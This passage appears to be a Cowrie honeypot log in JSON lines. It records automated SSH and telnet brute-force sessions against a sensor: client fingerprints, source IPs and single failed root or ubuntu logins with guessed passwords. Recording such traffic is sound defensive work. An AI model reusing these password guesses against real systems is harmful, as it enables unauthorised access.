{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:25:02.267246Z","src_ip":"23.97.62.150","session":"e27c7af15d6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu1234","message":"login attempt [root/ubuntu1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:25:02.979083Z","src_ip":"23.97.62.150","session":"e27c7af15d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:25:04.219674Z","src_ip":"23.97.62.150","session":"e27c7af15d6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":42936,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea30d46c8d84","protocol":"ssh","message":"New connection: 62.133.63.178:42936 (159.203.135.109:22) [session: ea30d46c8d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:25:35.874406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:25:35.878756Z","src_ip":"62.133.63.178","session":"ea30d46c8d84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:25:36.005795Z","src_ip":"62.133.63.178","session":"ea30d46c8d84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azizbek","message":"login attempt [root/azizbek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:25:36.389972Z","src_ip":"62.133.63.178","session":"ea30d46c8d84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:25:37.519635Z","src_ip":"62.133.63.178","session":"ea30d46c8d84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":40534,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea9a761f803c","protocol":"ssh","message":"New connection: 194.113.233.25:40534 (10.17.0.5:22) [session: ea9a761f803c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:26:39.727862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:26:39.735624Z","src_ip":"194.113.233.25","session":"ea9a761f803c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:26:39.829278Z","src_ip":"194.113.233.25","session":"ea9a761f803c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zazazaza","message":"login attempt [root/zazazaza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:26:40.110302Z","src_ip":"194.113.233.25","session":"ea9a761f803c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:26:41.209017Z","src_ip":"194.113.233.25","session":"ea9a761f803c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.6.35.235","src_port":52906,"dst_ip":"159.203.135.109","dst_port":22,"session":"08935b6f2bf5","protocol":"ssh","message":"New connection: 20.6.35.235:52906 (159.203.135.109:22) [session: 08935b6f2bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:27:43.698635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:27:45.491231Z","src_ip":"20.6.35.235","session":"08935b6f2bf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:27:45.724941Z","src_ip":"20.6.35.235","session":"08935b6f2bf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:27:49.276294Z","src_ip":"20.6.35.235","session":"08935b6f2bf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:27:51.735838Z","src_ip":"20.6.35.235","session":"08935b6f2bf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":59238,"dst_ip":"159.203.135.109","dst_port":22,"session":"0549103479b0","protocol":"ssh","message":"New connection: 109.237.96.109:59238 (159.203.135.109:22) [session: 0549103479b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:28:09.618692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:28:09.623458Z","src_ip":"109.237.96.109","session":"0549103479b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:28:09.716218Z","src_ip":"109.237.96.109","session":"0549103479b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"178500","message":"login attempt [root/178500] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:28:09.993878Z","src_ip":"109.237.96.109","session":"0549103479b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:28:11.097847Z","src_ip":"109.237.96.109","session":"0549103479b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":46308,"dst_ip":"159.203.135.109","dst_port":22,"session":"72591cbf76a9","protocol":"ssh","message":"New connection: 103.27.238.120:46308 (159.203.135.109:22) [session: 72591cbf76a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:28:39.373662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:28:39.378264Z","src_ip":"103.27.238.120","session":"72591cbf76a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":60216,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3f0f1ca0483","protocol":"ssh","message":"New connection: 103.27.238.116:60216 (159.203.135.109:22) [session: a3f0f1ca0483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:28:39.403737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:28:39.408115Z","src_ip":"103.27.238.116","session":"a3f0f1ca0483","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:28:39.652041Z","src_ip":"103.27.238.120","session":"72591cbf76a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:28:39.675998Z","src_ip":"103.27.238.116","session":"a3f0f1ca0483","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"seaways","message":"login attempt [root/seaways] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:28:40.477914Z","src_ip":"103.27.238.120","session":"72591cbf76a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120789","message":"login attempt [root/120789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:28:40.483360Z","src_ip":"103.27.238.116","session":"a3f0f1ca0483","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:28:41.754011Z","src_ip":"103.27.238.116","session":"a3f0f1ca0483","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:28:41.758720Z","src_ip":"103.27.238.120","session":"72591cbf76a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40042,"dst_ip":"159.203.135.109","dst_port":23,"session":"16fcb02558c1","protocol":"telnet","message":"New connection: 69.4.83.194:40042 (159.203.135.109:23) [session: 16fcb02558c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:17.166707Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":39788,"dst_ip":"159.203.135.109","dst_port":22,"session":"47961323d02a","protocol":"ssh","message":"New connection: 51.250.105.222:39788 (159.203.135.109:22) [session: 47961323d02a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:24.537624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:24.542316Z","src_ip":"51.250.105.222","session":"47961323d02a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:24.666091Z","src_ip":"51.250.105.222","session":"47961323d02a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:25.039041Z","src_ip":"51.250.105.222","session":"47961323d02a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:26.166003Z","src_ip":"51.250.105.222","session":"47961323d02a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":44438,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdbdab1efb25","protocol":"ssh","message":"New connection: 103.149.170.125:44438 (10.17.0.5:22) [session: bdbdab1efb25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:31.922671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:31.927328Z","src_ip":"103.149.170.125","session":"bdbdab1efb25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521